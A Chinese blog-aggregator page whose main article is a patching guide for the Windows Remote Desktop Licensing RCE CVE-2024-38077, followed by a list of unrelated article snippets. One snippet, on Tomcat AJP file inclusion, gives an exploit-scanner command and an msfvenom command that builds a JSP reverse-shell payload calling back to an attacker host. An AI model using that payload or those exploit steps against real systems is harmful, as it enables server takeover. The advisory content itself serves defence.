当前位置： 首页 > news >正文

高危漏洞CVE-2024-38077的修复指南

news 2026/5/31 1:20:17

“

根据2024年8月9日，国家信息安全漏洞共享平台（CNVD）收录了Windows远程桌面许可服务远程代码执行漏洞（CNVD-2024-34918，对应CVE-2024-38077）。未经身份认证的攻击者可利用漏洞远程执行代码，获取服务器控制权限。目前，该漏洞的部分技术原理和概念验证伪代码已公开，厂商已发布安全更新完成修复。CNVD建议受影响的单位和用户安全即刻升级到最新版本。

一、漏洞情况分析

该漏洞存于Windows远程桌面许可管理服务(Remote Desktop License Service，RDL)中，RDL是Windows Server操作系统的一个服务，用于管理和颁发远程桌面连接（RDS）许可。攻击者无需任何前置条件，无需用户交互(零点击)便可直接获取服务器最高权限，执行任意操作。

RDL不是Windows Server操作系统的默认启用服务。默认情况下，Windows服务器远程桌面服务仅支持两个并发会话，在启用RDP多并发会话支持时，需要手动安装RDL服务。

2024年8月9日上午9时，研究人员在境外网站公开了RDL服务远程代码执行漏洞的部分技术原理和概念验证（POC）伪代码，该伪代码目前尚无法直接运行，研究者将其命名为狂躁许可（MadLicense）。RDL服务在解码用户输入的许可密钥包时，未正确验证解码后的数据长度与缓冲区大小之间的关系，从而导致堆缓冲区溢出。未经身份认证的攻击者利用该漏洞，通过远程向目标Windows Server服务器发送恶意构造的数据包，从而执行任意代码，实现对服务器的权限获取和完全控制。CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞名称Windows Server 远程桌面许可服务远程代码执行漏洞
漏洞类型远程代码执行
漏洞

相关文章：

高危漏洞CVE-2024-38077的修复指南

“ 根据2024年8月9日，国家信息安全漏洞共享平台（CNVD）收录了Windows远程桌面许可服务远程代码执行漏洞（CNVD-2024-34918，对应CVE-2024-38077）。未经身份认证的攻击者可利用漏洞远程执行代码，获取服务器控制权限。目前，该漏洞的部分技术原理和概念验证伪代码已公开，厂商…...

编程日记 2024/8/13 11:48:57

docker基本管理和应用

docker是一个开源的应用容器引擎，基于go语言开发的 docker是运行在linux的容器化工具，可以理解为轻量级的虚拟机 可以在任何主机上，轻松创建的一个轻量级，可移植的，自给自足的容器 鲸鱼--------->宿主机 集装箱…...

编程日记 2024/8/13 11:47:56

AI招聘在人才盘活中的作用：开启智慧人力新篇章

一、引言：AI赋能招聘新纪元 在21世纪的今天，随着科技的飞速发展，人工智能（AI）已经渗透到社会经济的各个角落，其中，人力资源管理领域也不例外。AI技术的引入，不仅颠覆了传统的招聘模…...

编程日记 2024/8/13 11:46:55

探索SD NAND配套测试工具：工程师的得力助手

在快速发展的存储技术领域，SD NAND因其高速读写、低功耗和高可靠性而广受青睐。然而，对于工程师来说，验证SD NAND的性能并非易事，为了便于工程师验证，MK 米客方德开发设计了SD NAND配套测试工具。 一、SD NAND转接板简…...

编程日记 2024/8/13 11:44:52

三十六、【人工智能】【机器学习】【监督学习】- Bagging算法模型

系列文章目录 第一章 【机器学习】初识机器学习 第二章 【机器学习】【监督学习】- 逻辑回归算法 (Logistic Regression) 第三章 【机器学习】【监督学习】- 支持向量机 (SVM) 第四章【机器学习】【监督学习】- K-近邻算法 (K-NN) 第五章【机器学习】【监督学习】- 决策树…...

编程日记 2024/8/13 11:42:49

2024年8月8日（python基础）

一、检查并配置python环境（python2内置） 1、检测是否安装 [rootlocalhost ~]# yum list installed| grep python [rootlocalhost ~]# yum -y install epel-release 2、安装python3 [rootlocalhost ~]# yum -y install python3 最新版3.12可以使用源码安…...

编程日记 2024/8/13 11:41:48

SpringAOP_面向切面编程

一、什么是StringAOP AOP(Aspect-Oriented Programming: 面向切面编程)：将那些与业务无关， 却为业务模块所共同调用的逻辑（例如事务处理、日志管理、权限控制等）封装抽取成一个可重用的模块，这个模块被命名为“切面”&…...

编程日记 2024/8/13 11:39:45

芯片bring-up的测试用例

文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1）电源时钟复位测试2）寄存器扫描测试3）单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作，从测试用例…...

编程日记 2024/8/13 11:38:44

vs code编辑区域右键菜单突然变短

今天打开vs code发现鼠标在编辑区域按右键，出来的菜单只显示一小段 显示不全，而之前的样子是 显示很多项，怎么设置回到显示很多项呢？...

编程日记 2024/8/13 11:35:41

如何将TRIZ的“最终理想解”应用到机器人电机控制设计中？

TRIZ理论，作为一套系统的创新方法论，旨在帮助设计师和工程师突破思维惯性，解决复杂的技术难题。其核心思想之一便是“最终理想解”，它如同一盏明灯，指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...

编程日记 2024/8/13 11:29:34

【记录】基于docker部署小熊派BearPi-Pico H3863开发环境

参考：📝 Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...

编程日记 2024/8/13 11:27:33

Elasticsearch 与 OpenSearch：谁才是搜索霸主

Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎，它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据，这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...

编程日记 2024/8/13 11:26:30

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...

编程日记 2024/8/13 11:24:27

嵌入式初学-C语言-二一

数组指针 概念&#xff1a;数组指针是指向数组的指针。 特点&#xff1a; 先有数组&#xff0c;后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]&#xff1b; 案例&#xff1a; /** * 数组指针&#xff1a;指向数组的指针 */ #include <…...

编程日记 2024/8/13 11:22:25

2376. 统计特殊整数

Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的&#xff0c;我们称它是 特殊整数 。 给你一个 正 整数 n &#xff0c;请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...

编程日记 2024/8/13 11:21:24

Python 绘图进阶之核密度估计图：掌握数据分布的秘密

Python 绘图进阶之核密度估计图&#xff1a;掌握数据分布的秘密 引言 在数据分析中&#xff0c;了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图&#xff0c;核密度估计图&#xff08;Kernel Density Estimation, KDE&#xff09;提供了一种更为平滑、直观的方…...

编程日记 2024/8/13 11:16:18

设计模式（1）创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…...

编程日记 2024/8/13 11:15:17

RuoYi-Vue新建模块

一、环境准备 附：RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中，引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...

编程日记 2024/8/13 11:13:14

Element-UI自学实践

概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案&#xff0c;极大地提升了前端开发的效率和质量。本文为自学实践记录&#xff0c;详细内容见 &#x1f4da; ElementUI官网 1. 基础组…...

编程日记 2024/8/13 11:12:12

ChatGPT如何工作：创作一首诗的过程

疑问 怎样理解 Chat GPT 的工作原理&#xff1f;比如我让他作一首诗&#xff0c;他是如何创作的呢&#xff1f;每一行诗&#xff0c;每一个字都是怎么来的&#xff1f;随机拼凑的还是从哪里借鉴的&#xff1f; 回答 当你让 ChatGPT 创作一首诗时&#xff0c;它并不是简单地随…...

编程日记 2024/8/13 11:08:07

Claude Code 之父：2026 年我一行代码都没写，编程已被 AI 解决

2026 年&#xff0c;你还在一行一行敲代码吗&#xff1f;Claude Code 的创造者、Anthropic 核心人物 Boris Cherny&#xff0c;在公开访谈里抛出一句让整个行业震动的话&#xff1a;2026 年到现在&#xff0c;我没有写过一行代码。所有开发工作&#xff0c;100% 交给 AI 代理完…...

编程新知 2026/5/26 3:30:08

信息系统项目管理师核心知识点精讲

一、项目整合管理（重点：项目章程与项目管理计划） 知识点详解： 项目整体管理是项目管理知识体系的核心，它确保项目各要素协调统一。在考试中，特别要掌握项目章程和项目管理计划的区别与联系。 项目章程是项目的“出生证明”，由项目发起人发布。它正式授权项目，赋予项…...

编程新知 2026/5/26 3:01:50

利用DiSEqC协议与AVR单片机驱动卫星天线电机改造户外设备

1. 项目概述&#xff1a;用卫星天线电机驱动一切如果你手头有一些需要承受风吹日晒、还得精确转动的设备&#xff0c;比如一个户外的大型定向天线&#xff0c;或者一个需要定期调整角度的太阳能板支架&#xff0c;甚至是一个坚固的监控云台&#xff0c;你可能会为驱动机构发愁。…...

编程新知 2026/5/26 2:25:31

利用FTDI芯片MPSSE模式构建Arduino兼容开发环境

1. 项目概述&#xff1a;当FTDI芯片遇上Arduino生态如果你手头有一些闲置的FTDI USB转串口模块&#xff0c;比如常见的FT232R、FT2232H&#xff0c;或者像我一样&#xff0c;从某个旧设备上拆下来一块FT2232C的老古董&#xff0c;除了用来给单片机烧录程序或者做串口调试&#…...

编程新知 2026/5/25 20:07:55

【Veo 2提示词SOP白皮书】：从模糊意图到像素级输出的8步标准化工作流（附NASA级测试用例库）

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Veo 2提示词工程的本质与范式跃迁 Veo 2并非单纯升级的视频生成模型&#xff0c;而是一次提示词工程范式的根本性重构——它将传统“指令式提示”&#xff08;prompt-as-command&#xff09;转向“意图…...

编程新知 2026/5/25 19:57:30

ModernWMS核心功能详解：从ASN入库到Dispatch出库的完整工作流

ModernWMS核心功能详解&#xff1a;从ASN入库到Dispatch出库的完整工作流 【免费下载链接】ModernWMS The open source simple and complete warehouse management system is derived from our many years of experience in implementing erp projects. We stripped the origin…...

编程新知 2026/5/25 18:03:50

DSP、FPGA、STM32大对决：谁才是嵌入式开发的“天选之子”？

在嵌入式开发的广阔天地里&#xff0c;DSP、FPGA 和 STM32&#xff08;作为通用 MCU 的典型代表&#xff09;可以说是三款绕不开的核心处理器。很多初学者甚至有一定经验的工程师在选择时都会陷入纠结&#xff1a;我的项目到底该选哪一个&#xff1f;为了帮你彻底理清思路&…...

编程新知 2026/5/25 16:00:19

终极Obsidian笔记模板指南：如何用kepano-obsidian构建你的第二大脑

终极Obsidian笔记模板指南&#xff1a;如何用kepano-obsidian构建你的第二大脑 【免费下载链接】kepano-obsidian My personal Obsidian vault template. A bottom-up approach to note-taking and organizing things I am interested in. 项目地址: https://gitcode.com/gh_…...

编程新知 2026/5/25 15:50:13

告别手动标注！用SAM（Segment Anything）和Python脚本，5分钟批量生成你的分割数据集

5分钟批量生成分割数据集&#xff1a;SAM自动化标注全流程实战 在计算机视觉领域&#xff0c;数据标注一直是制约模型开发效率的瓶颈。传统手工标注不仅耗时费力&#xff0c;还容易引入人为误差。Meta开源的Segment Anything Model&#xff08;SAM&#xff09;彻底改变了这一局…...

编程新知 2026/5/25 15:45:48

Lovable后端集成方案深度拆解（含Spring Boot 3.2+GraalVM+OpenTelemetry完整Demo）

更多请点击&#xff1a; https://kaifayun.com 第一章&#xff1a;Lovable后端集成方案全景概览 Lovable 是一个面向现代 Web 应用的轻量级后端协作框架&#xff0c;其核心设计理念是“可组合、可观测、可演进”。它不绑定特定语言或运行时&#xff0c;而是通过标准化协议与契…...

编程新知 2026/5/25 15:09:50